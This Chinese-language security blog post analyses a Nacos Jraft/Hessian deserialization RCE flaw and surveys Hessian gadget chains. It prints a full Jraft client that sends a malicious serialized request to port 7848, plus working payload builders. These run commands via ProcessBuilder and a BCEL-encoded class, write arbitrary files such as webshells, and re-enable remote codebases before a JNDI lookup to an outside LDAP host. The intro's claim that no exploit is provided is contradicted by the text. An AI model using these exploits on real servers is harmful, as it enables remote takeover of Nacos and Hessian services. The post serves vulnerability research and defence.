从Ali-Nacos-RCE漏洞看RPC-Hessian协议安全

1、起源

从朋友圈了解到nacos出了个洞,看起来是rce还挺唬人的,客户部署量也比较多。本着为甲方客户爸爸负责到底的原则,对此漏洞进行了应急追踪。最后也根据官方文档成功构造好Jraft客户端与Hessian反序列化only jdk Gadget的EXP。以下第二章节内容为当时追踪分析的笔记,未提供exp,仅技术交流讨论。第三章节是Hessian反序列化相关的知识补充,在完成了此漏洞的应急分析后,对整个过程复盘时发现自己对于Hessian的相关知识了解不深,想着近些年微服务/业务上云等大趋势演进,RPC远程通信框架/协议的安全问题一定会是未来安全的重点。索性趁着这次机会趁热打铁,把Hessian协议的知识总结消化一波。 如果对文章有疑问/建议或者想一起研究交流的师傅,欢迎私信😜

PS:本文仅用于技术讨论。严禁用于任何非法用途,违者后果自负!

笔者在之前的几篇文章中,对rpc相关的thrift、rmi、jmx等协议的详细分析

Attack JMX Service的打开方式

VMware-vRealize-Log-Insight-thrift-RPC调用RCE

论RMI的攻防演进史

2、补丁分析

Nacos是 Dynamic Naming and Configuration Service的首字母简称,是阿里推出的一个易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos构建了以”服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施,其在各行各业的应用极为普遍广泛。

在Nacos新版本发布说明提取到几个关键词: Jraft请求处理、hessian反序列化未限制、RCE、7848端口

https://github.com/alibaba/nacos/releases

检索下官方文档关于Jraft请求的信息

看到 https://nacos.io/zh-cn/docs/v2/upgrading/2.0.0-compatibility.html Nacos默认开启了7848端口,用于处理服务端见的Raft相关请求

继续看下修复的commit,涉及了Hessian反序列化操作。添加了NacosHessianSerializerFactory白名单 https://github.com/alibaba/nacos/pull/10542/commits

下载存在漏洞的版本nacos-server-2.2.2.zip,解压后启动运行:startup.cmd -m standalone

在InstanceMetadataProcessor、ServiceMetadataProcessor的 onApply 方法中调用了serializer.deserialize,而默认的serializer为HessianSerializer

https://github.com/alibaba/nacos/pull/10542/commits/5804f5a46116dc1197bdd2c224d1368227b51232#diff-c8b875833c2f8a21ed873c9c1053b237ab04d4180caeea141e51c1932f665dae

这里就是Hessian反序列化的触发点,nacos官方对方法com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply写了测试用例:com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessorTest#testOnApply,在这个例子中可以看到方法将实际序列化/反序列化操作的MetadataOperation对象放入WriteRequest#data_参数中、将操作标识ADD放入operation_参数中

接着我们根据sofastack的jraft用户指南编写Jraft客户端将数据发送至7848端口的jraft服务,https://www.sofastack.tech/projects/sofa-jraft/counter-example/

碰到错误:null default instance: com.alibaba.nacos.consistency.entity.WriteRequest

经过调试是com.alipay.sofa.jraft.rpc.impl.GrpcClient#parserClasses中未包含com.alibaba.nacos.consistency.entity.WriteRequest

所以在运行exp前需要将WriteRequest添加到parserClasses、defaultMarshallerRegistry(marshaller方法会用到)参数中,找到了com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory类,可调用registerProtobufSerializer方法进行添加

1
2
3
4
5
6
7
WriteRequest writeRequest = WriteRequest.newBuilder().setData(ByteString.copyFrom(new HessianSerializer().serialize(Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper.getObject()))).setGroup(groupId).setOperation("Write").build();

//parserClasses、defaultMarshallerRegistry添加WriteRequest
GrpcRaftRpcFactory raftRpcFactory = (GrpcRaftRpcFactory) RpcFactoryHelper.rpcFactory();
raftRpcFactory.registerProtobufSerializer(WriteRequest.class.getName(),writeRequest);
MarshallerRegistry marshallerRegistry = raftRpcFactory.getMarshallerRegistry();
marshallerRegistry.registerResponseInstance(WriteRequest.class.getName(), writeRequest);

最终构造好的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alibaba.nacos.consistency.serialize.HessianSerializer;
import com.alipay.sofa.jraft.RouteTable;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory;
import com.alipay.sofa.jraft.rpc.impl.MarshallerRegistry;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.alipay.sofa.jraft.util.Endpoint;
import com.alipay.sofa.jraft.util.RpcFactoryHelper;
import com.google.protobuf.ByteString;

public class JraftClient {
public static void main(String[] args) throws Exception {
String groupId = "naming_instance_metadata";
// 更新raft group配置
Configuration conf = new Configuration();
RouteTable.getInstance().updateConfiguration(groupId, conf);

//创建ClientService
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
CliOptions cliOptions = new CliOptions();
cliClientService.init(cliOptions);
RouteTable.getInstance().refreshLeader(cliClientService, groupId, 1000000);
PeerId leader = RouteTable.getInstance().selectLeader(groupId);
System.out.println("Leader is " + leader);

//创建writeRequest
WriteRequest writeRequest = WriteRequest.newBuilder().setData(ByteString.copyFrom(new HessianSerializer().serialize(evilSerData))).setGroup(groupId).setOperation("Write").build();

//parserClasses、defaultMarshallerRegistry添加WriteRequest
GrpcRaftRpcFactory raftRpcFactory = (GrpcRaftRpcFactory) RpcFactoryHelper.rpcFactory();
raftRpcFactory.registerProtobufSerializer(WriteRequest.class.getName(),writeRequest);
MarshallerRegistry marshallerRegistry = raftRpcFactory.getMarshallerRegistry();
marshallerRegistry.registerResponseInstance(WriteRequest.class.getName(), writeRequest);

//发送请求
cliClientService.getRpcClient().invokeSync(new Endpoint("host", 7848), writeRequest, 10000);
}
}

3、Hessian反序列化

客户端构造好了,接着就是去构造恶意的序列化数据。其实就是找Hessian链,最开始用的是 https://github.com/mbechler/marshalsec 中的SpringPartiallyComparableAdvisorHolder链,但是需要打jndi,过程中也碰到了构造数据时意外触发toString方法就会直接触发rce的问题,所以最后用了jdk原生的PKCS9Attribute触发bcel的反序列化链完成了RCE,在完成exp编写后想着对Hessian的了解不多,索性再花些时间整体看看Hessian反序列化的要点、利用及坑点,下次再碰到类似问题可以快速解决,提高分析效率。

3.1 Hessian历史

Hessian是一种用于连接WEB得简单二进制协议,由caucho( https://caucho.com/ )开发,从06年发布3.0.20版本到19年发布的4.0.60版本,实际在maven仓库中可以下载到最新的4.0.66版本: https://mvnrepository.com/artifact/com.caucho/hessian

Hessian虽然默认集成在resin中,但是使用起来只需要com.caucho.hessian.client、com.caucho.hessian.server包,并不需要其他的Resin类。所以也可以用于较小的客户端applet、用于手机/电子游戏机等j2ME设备连接Resin服务器,也可以用于EJB服务。整体分为Hessian1与Hessian2两个版本,在实际使用中以序列化数据中的header进行区分。

Hessian由于其跨语言、小型轻量级、快速紧凑,所以在RPC框架应用中极为流行。

官网链接:http://hessian.caucho.com/

3.2 序列化反序列化过程

我们模拟一次客户端使用Hessian协议与服务端的一次交互过程来分析下该协议是如何处理数据的。Hessian的使用一般有两种形式:1、基于Web Servlet;2、与Spring结合使用。本次演示我们基于Web Servlet的形式来分析

总体来说利用Hessian协议进行一次远程方法调用:客户端->序列化数据发送到服务端->服务端反序列化数据并调用方法->服务端将方法执行结果进行序列化并返回给客户端->客户端反序列化数据拿到方法的执行结果

与其他RPC协议如RMI调用类似,也是基于序列化数据进行传输,那么我们深入代码看看Hessian是如何处理的,存在哪些安全风险~

3.2.1 基于Web Servlet形式

服务端引入com.caucho-hessian-4.0.63.jar,servlet可以为HessianServlet、也可以是继承自HessianServlet的自实现类,我这里演示在web.xml中将HessianServlet作为路由/hessian的处理handler,并将其暴露给客户端进行调用,初始化参数配置客户端可调用的目标类BasicService

1、web.xml

1
2
3
4
5
6
7
8
9
10
11
12
<servlet>
<servlet-name>hessianServlet</servlet-name>
<servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class>
<init-param>
<param-name>service-class</param-name>
<param-value>com.example.hessianserver.BasicService</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>hessianServlet</servlet-name>
<url-pattern>/hessian</url-pattern>
</servlet-mapping>

2、接口及实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BasicAPI接口
public interface BasicAPI {
public void setGreeting(String greeting);
public String hello();
public User getUser();
public String getObject(Object obj);
}

BasicService实现类
public class BasicService implements BasicAPI {
private String _greeting = "Hello, world";
@Override
public void setGreeting(String greeting) {
_greeting = greeting;
}
@Override
public String hello() {
return _greeting;
}
@Override
public User getUser() {
return new User("pwnull", "pwnull");
}
@Override
public String getObject(Object obj) {
return obj.toString();
}
}

3、User pojo类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = 153519254199840035L;
String userName = "pwnull";
String password = "pwnull";
public User(String user, String pwd){
this.userName = user;
this.password = pwd;
}
public String getUserName(){
return userName;
}
public String getPassword(){
return password;
}
}

客户端调用:

同样引入com.caucho-hessian-4.0.63.jar,再创建与服务端一样的BasicService接口及User pojo类,客户端通过HessianProxyFactory工厂类创建代理对象并进行方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import java.net.MalformedURLException;
import com.caucho.hessian.client.HessianProxyFactory;
import com.example.hessianserver.BasicAPI;

public class hessianClient {
public static void main(String[] args) throws MalformedURLException {
String url ="http://127.0.0.1:8080/hessian";
SnmpAcl snmpAcl = new SnmpAcl("1");
HessianProxyFactory factory = new HessianProxyFactory();
//factory.setHessian2Request(true);
//factory.setHessian2Reply(true);
BasicAPI basic = (BasicAPI) factory.create(BasicAPI.class, url);
System.out.println("Hello:" + basic.hello());
System.out.println("Hello:" + basic.getUser().getUserName());
System.out.println("Hello:" + basic.getUser().getPassword());
//System.out.println(basic.getObject(snmpAcl));
}
}

如下分析是基于最新版4.0.63,由于之前重点分析过rmi协议,再次看hessian RPC协议时感觉非常顺畅。整体流程与RMI类似,但是对于自定义类的处理与RMI不同,因此相对应的漏洞利用方式也有些区别。继续看

1
2
3
4
String url ="http://127.0.0.1:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
BasicAPI basic = (BasicAPI) factory.create(BasicAPI.class, url);
basic.hello();

在客户端调用远端的hello方法时,处理逻辑在com.caucho.hessian.client.HessianProxy#invoke中:1、判断调用方法是否是内置方法,如果是那么会在本地执行并返回结果;2、如果是远端方法,会调用HessianProxy#sendRequest进行数据组装并发送;3、客户端等待服务端返回方法的执行结果,Hessian传输的是序列化数据,所以在拿到结果后需要进行反序列化读取

在HessianProxy#sendRequest中添加Hessian的header请求头、在HessianOutput#call中组装数据、序列化写入参数对象

客户端调用Hessian2Input#readReply 反序列化读取服务端的返回数据

服务端在HessianServlet#service方法中处理客户端的调用请求

在HessianSkeleton#invoke中读取数据的header字段,这里默认是CALL_1_REPLY_2,表示使用版本协议1调用,使用版本协议2返回,并创建了对应版本的HessianInput(版本1)输入流、Hessian2Output(版本2)输出流

在HessianSkeleton#invoke方法中:1、获取目标方法;2、获取方法对应参数;3、反射调用;4、将方法的执行结果通过AbstractHessianOutput#writeReply方法写入流中并传回给客户端

服务端在处理过程中用到的几个重点类及方法

1
2
3
4
5
com.caucho.services.server.AbstractSkeleton#AbstractSkeleton
初始化时接收调用接口类型,并将接口方法添加到属性_methodMap中,其格式为:方法名__参数长度、方法名_参数1类型_参数2类型

com.caucho.hessian.server.HessianSkeleton
继承自AbstractSkeleton,初始化时接收接口与实现类,并将实现类赋值给属性service

如上是一次完整的客户端与服务端的调用交互过程,在调用序列化writeObject/反序列化readObject方法时,都会根据目标类型选择不同的序列化/反序列化器。我们整体来看下

3.2.2 序列化/反序列化器

根据SerializerFactory#getDefaultSerializer跟来分析,默认的序列化/反序列化器是 UnsafeSerializer/UnsafeDeserializer,当客户端序列化自定义Object对象(例子为SnmpAcl对象)时,会调用UnsafeSerializer#writeObject,这个方法兼容了Hessian1与Hessian2的格式写法:统一调用AbstractHessianOutput#writeObjectBegin,Hessian1的HessianOutput未实现此方法,所以会调用到HessianOutput#writeMapBegin写入Map的格式数据,而Hessian2实现了此方法,所以会调用到Hessian2Output#writeObjectBegin,不写入Map的格式数据

com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin

Hessian1自定义类型的序列化初始方法:com.caucho.hessian.io.HessianOutput#writeMapBegin

Hessian2自定义类型的序列化初始方法:com.caucho.hessian.io.Hessian2Output#writeObjectBegin

当使用Hessian1协议传输自定义数据类型时,服务端总会使用UnsafeDeserializer#readMap进行处理:1、使用_unsafe.allocateInstance创建目标类实例;2、调用目标类属性对应类型的反序列化器,readXXX方法读取属性值并调用Unsafe#putObject写入

当使用Hessian2协议传输自定义数据类型时,服务端会使用UnsafeDeserializer#readObject进行处理:1、使用_unsafe.allocateInstance创建目标类实例;2、调用目标类属性对应类型的反序列化器,readXXX方法读取属性值并调用Unsafe#putObject写入

所以在Hessian1中,自定义数据类型都是包装为Map类型进行序列化/反序列化操作的,Hessian1没有对Object进行单独处理。到了Hessian2中,才对自定义数据类型(Object)进行了单独处理。这个特性需要注意下。

另外要注意客户端默认为Hessian1格式请求、以Hessian2格式响应,即上面提到的header字段CALL_1_REPLY_2,当然也可以使用setHessian2Request/setHessian2Reply方法显式指定请求及响应的协议版本

1
2
3
HessianProxyFactory factory = new HessianProxyFactory();
factory.setHessian2Request(true);
factory.setHessian2Reply(true);

com.caucho.hessian.client.HessianProxyFactory#getHessianOutput

3.2.3 Serializable接口问题

客户端调用远程方法时,获取默认序列化器UnsafeSerializer时会判断类是否实现Serializable接口,或者判断是否设置了变量isAllowNonSerializable,如果isAllowNonSerializable设置为true,则允许序列化未实现Serializable接口的类,并且服务端不会检测类是否实现了Serializable接口。这个是与Java原生反序列化不同的一个点:Hessian可以对未实现Serializable接口的类对象进行序列化/反序列化操作

com.caucho.hessian.io.SerializerFactory#getDefaultSerializer

3.3 漏洞及利用

从上面的分析能看出来,无论Hessian1还是2,在处理自定义类型(Object)对象都是通过_unsafe.allocateInstance创建实例、readObject获取值、Unsafe#putObject写入属性值。其中readObject方法与java原生反序列化流程也不同,不会在过程中调用目标类的readObject方法。与fastjson反序列化也不同,不会调用目标属性的getter/setter方法进行赋值。那么有哪些触发点可以供我们使用?答案就是Map!Map在Hessian反序列化中占有重要地位

Hessian对于Map类型的反序列化处理在com.caucho.hessian.io.MapDeserializer#readMap中,初始化HashMap、TreeMap,接着调用各自的put方法,而map的put方法一直是反序列化链的”明星”方法,出场率极高。

java.util.HashMap#put会调用到key的hashCode、equals方法检查key是否重复

java.util.TreeMap#put会调用key的compareTo、comparator属性的compare方法进行排序

所以寻找hessian反序列化链的要点:

1、起点是hashCode/equals/compareTo等方法

2、执行方法不依赖类本身readObject/getter/setter等方法的逻辑

3、无论目标类是否实现Serializable接口,都不影响反序列化操作

4、目标类的构造方法必须是public状态(_unsafe.allocateInstance创建实例时并未调用setAccessable设置)

hessian目前在 https://github.com/mbechler/marshalsec 中的链:Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor,挑XBean与Resin分析下,再看看JDK原生的两条链

3.3.1 Resin利用链

Resin利用链入口是com.sun.org.apache.xpath.internal.objects.XString#equals方法,最终触发点是 javax.naming.spi.NamingManager#getObjectFactoryFromReference远程加载类,高版本的JDK关闭了加载,但是存在一些factory的绕过,不过多阐述。在笔者之前的JNDI注入文章说明过:https://pwnull.github.io/2022/jndi-injection-history/

1
2
3
4
5
6
7
8
9
10
11
12
getObjectFactoryFromReference:156, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
composeName:180, ContinuationContext (javax.naming.spi)
toString:353, QName (com.caucho.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

3.3.2 XBean利用链

XBean利用链与resin的很类似,均利用了XString#equals、触发点NamingManager#getObjectFactoryFromReference,只不过由QName换成了Binding。留个问题:为什么不使用XString直接去触发,而是要使用spring中的HotSwappableTargetSource

1
2
3
4
5
6
7
8
9
10
11
12
getObjectFactoryFromReference:156, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

3.3.3 JDK原生链

0ctf2022的题目 hessian only jdk,题目预期解是寻找只依赖于jdk的Hessian反序列化利用链。题目信息在这里:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk

Hessian服务端在还原Map类型数据时,会调用put方法,在put方法中会触发key、value的equals/hashCode等操作,这是反序列化链的开始。另外在Hessian反序列化过程中,如果客户端指定的类型type与实际对象类型不一致时会调用异常处理函数except,这个函数会调用obj#toString方法打印obj。这个洞被分配了编号CVE-2021-43297。所以利用这个漏洞为Hessian反序列化链增加了一个入口:toString方法。现在可用的入口方法:equals/hashCode/toString/compareTo

另外Hashtable#equals方法会触发其value值的get方法,在JDK中存在javax.swing.UIDefaults#get(Object)->sun.swing.SwingLazyValue#createValue->sun.reflect.misc.MethodUtil#invoke(static)这条链路,方法sun.swing.SwingLazyValue#createValue可以调用任意静态方法或者是任意类的构造方法(va2),所以Hessian JDK原生链基本都是寻找静态函数--->RCE的链路,主要有两种思路:1、修改环境配置,绕过JDK安全限制;2、静态方法直接触发RCE。当然还有从xxx.toString->invoke()->static function->rce的链路

3.3.3.1 MethodUtils.invoke

有师傅找到了sun.reflect.misc.MethodUtil#invoke这个静态方法,将调用任意静态方法转化为了调用任意方法,结合ProcessBuilder.start完成RCE

生成序列化数据的poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static HashMap<Object, Object> getObject2() throws Exception {
Object target = new ProcessBuilder("cmd.exe","/c","calc");
Method invoke = sun.reflect.misc.MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method start = ProcessBuilder.class.getMethod("start");
SwingLazyValue swingLazyValue = new SwingLazyValue(
"sun.reflect.misc.MethodUtil",
"invoke",
new Object[]{invoke, new Object(), new Object[]{start, target, new Object[]{}}});
Object[] keyValueList = new Object[]{"abc",swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);

Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
hashtable1.put("a",uiDefaults1);
hashtable2.put("a",uiDefaults2);
return MakeUtils.makeMap(hashtable1,hashtable2);
}

整体的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
start:1007, ProcessBuilder (java.lang)
invoke调用
invoke:275, MethodUtil (sun.reflect.misc)
invoke调用
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:813, Hashtable (java.util)
equals:813, Hashtable (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

3.3.2 PKCS9Attributes#toString->JavaWrapper._main

这条链的前半部分利用了PKCS9Attributes#toString->UIDefaults#get ,后半部分静态方法使用的是com.sun.org.apache.bcel.internal.util.JavaWrapper#_main,这个方法中classloader(com.sun.org.apache.bcel.internal.util.ClassLoader)加载bcel串得到class,接着再调用自定义类的 _main 方法。另外bcelclassloader com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载class时使用的是defineClass而不是Class.forName,不会直接加载静态代码块中的代码,所以需要将执行的代码写入到 _main方法中完成利用

生成序列化数据的poc代码,这个需要注意在序列化数据时提前写入一个字符导致触发expect进而完成Hessian2Input#readObject--->XXX.toString得链路连接。经研究,除了67,另外79、81、86、88都是可以的,因为都调用了readInt,最终都可以触发expect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.utils.Payload;
import org.utils.Reflections;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class JavaWrapperBcel {
public static void main(String[] args) throws Exception {
Payload.run267(getJavaWrapperBcelObject());
}
public static Object getJavaWrapperBcelObject() throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
String payload = "$$BCEL$$" + Utility.encode(Repository.lookupClass(EvilMain.class).getBytes(), true);
System.out.println(payload);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
Reflections.setFieldValue(s,"attributes",uiDefaults);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
exec:347, Runtime (java.lang)
_main:5, $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$L$85$d2$8a$f2$r$f8$fd$7d$Q$3c$d8$8b$H$T$8c$X$a3$a7F$8d$Y$3cx0K$dd$d4$r$a5$rm$n$fc$z$_j$3c$f8$D$fcQ$c6$d9j$acQ6$d9y$9973$ef$cdf$df$3f$5e$df$A$i$60$c7D$k$N$T$LX$y$60I$e1$b2$8e$V$j$ab$M$f9$p$e9$cb$f8$98$n$dblu$Z$b4$93$e0$5e0$94l$e9$8b$f3$d1$a0$t$c2k$de$f3$88$a9$da$81$c3$bd$$$P$a5$ca$bfI$z$7e$90QR$L$5dKL$f8$60$e8$J$x$WQ$dcf$c8$dd$N$b8$f4$Z$g$cd$5b$bb$cf$c7$dc$f2$b8$efZ$9d8$94$be$dbN$acx$e8$8e$ZjS$ca$M$e6$e9$c4$R$c3X$G$7e$a4c$8d$f2N0$K$jq$s$95$ad$a1$y$f6$d5T$R$3a$K$3a$d6$8b$d8$c0$sI$d2$8aN$R$5b$d8f$u$ff$dd$89$a8$d4$e8$a2$d7$X$OQ$b5$94$faqd$a8$a4$ec$d5$c8$8f$e5$80LMW$c4$3fI$bd$d9$b2$ff$f5$d0$da$9a$98$I$87a$b79$e5$c9$bf$a8$cb0pD$U$b5i$d3$i$fd$8c$3a$Z0$f5$W$8a$Ge$W$n$p$cc$ed$3d$83$3d$se$93b$3e$n$b3$98$a1X$fcj$m$9c$r40$87$Su$a9$e1$c3D$M0_$90$a9f$9f$a0$dd$a4$K$s$a1$9a2H$xU1QF$85$b0JW$p$a6Fw$3e$99$a9$7f$C$82$f0$e5$edD$C$A$A
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2865, Hessian2Input (com.caucho.hessian.io)
readString:1407, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2163, Hessian2Input (com.caucho.hessian.io)
readObject:2105, Hessian2Input (com.caucho.hessian.io)
3.3.3 com.sun.org.apache.xml.internal.security.utils.JavaUtils

这个没什么好说得,直接写文件,在web环境下直接写webshell就行。当然也可以先写入动态链接库,再调用 System#load 加载进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.utils.MakeUtils;
import org.utils.Payload;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Hashtable;

public class JavaUtilsWriteFile {
public static void main(String[] args) throws Exception {
Payload.run(getUtilsWriteFileObject());
}
public static HashMap<Object, Object> getUtilsWriteFileObject() throws Exception {
/*
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
*/

byte[] bytes = Files.readAllBytes(Paths.get("E:\\calc.dll"));
String fileName = "E:\\calc-result.dll";
SwingLazyValue swingLazyValue = new SwingLazyValue(
"com.sun.org.apache.xml.internal.security.utils.JavaUtils",
"writeBytesToFilename",
new Object[]{fileName,bytes});
Object[] keyValueList = new Object[]{"abc",swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);

Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
hashtable1.put("a",uiDefaults1);
hashtable2.put("a",uiDefaults2);
return MakeUtils.makeMap(hashtable1,hashtable2);
}
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
writeBytesToFilename:85, JavaUtils (com.sun.org.apache.xml.internal.security.utils)
invoke调用
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:815, Hashtable (java.util)
equals:815, Hashtable (java.util)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
3.3.4 System.setProperty + JNDI

jdk中设置环境变量得方法java.lang.System#setProperty是静态方法,符合SwingLazyValue#createValue调用的条件。所以我们可以通过调用setProperty复活高版本下的JNDI注入,JNDI注入可参考: https://pwnull.github.io/2022/jndi-injection-history/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.utils.MakeUtils;
import org.utils.Payload;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.util.HashMap;
import java.util.Hashtable;

public class SetPropertyJndi {
/*
System.setProperty + InitalContext.doLookup
*/
public static void main(String[] args) throws Exception {
String className = "java.lang.System";
String methodName = "setProperty";
String[] args1 = {"com.sun.jndi.ldap.object.trustURLCodebase", "true"};
String[] args2 = {"com.sun.jndi.rmi.object.trustURLCodebase", "true"};
String[] args3 = {"java.rmi.server.useCodebaseOnly", "false"};
Payload.run(getSetPropertyJndiObject(className,methodName,args1));
Payload.run(getSetPropertyJndiObject(className,methodName,args2));
Payload.run(getSetPropertyJndiObject(className,methodName,args3));
Payload.run(getSetPropertyJndiObject("javax.naming.InitialContext","doLookup",new Object[]{"ldap://192.168.232.238:9999/rceexp"}));
}
public static HashMap<Object, Object> getSetPropertyJndiObject(String className,String methodName,Object[] args) throws Exception {
SwingLazyValue swingLazyValue = new SwingLazyValue(className, methodName, args);
Object[] keyValueList = new Object[]{"abc",swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);

Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
hashtable1.put("a",uiDefaults1);
hashtable2.put("a",uiDefaults2);
return MakeUtils.makeMap(hashtable1,hashtable2);
}
}

调试看到高版本JDK下的trustURLCodebase、useCodebaseOnly变量已成功修改

1
2
String env=System.getProperty("java.runtime.version").toString().toString()+"$"+System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase").toString()+"$"+System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase").toString()+"$"+System.getProperty("java.rmi.server.useCodebaseOnly").toString();
env

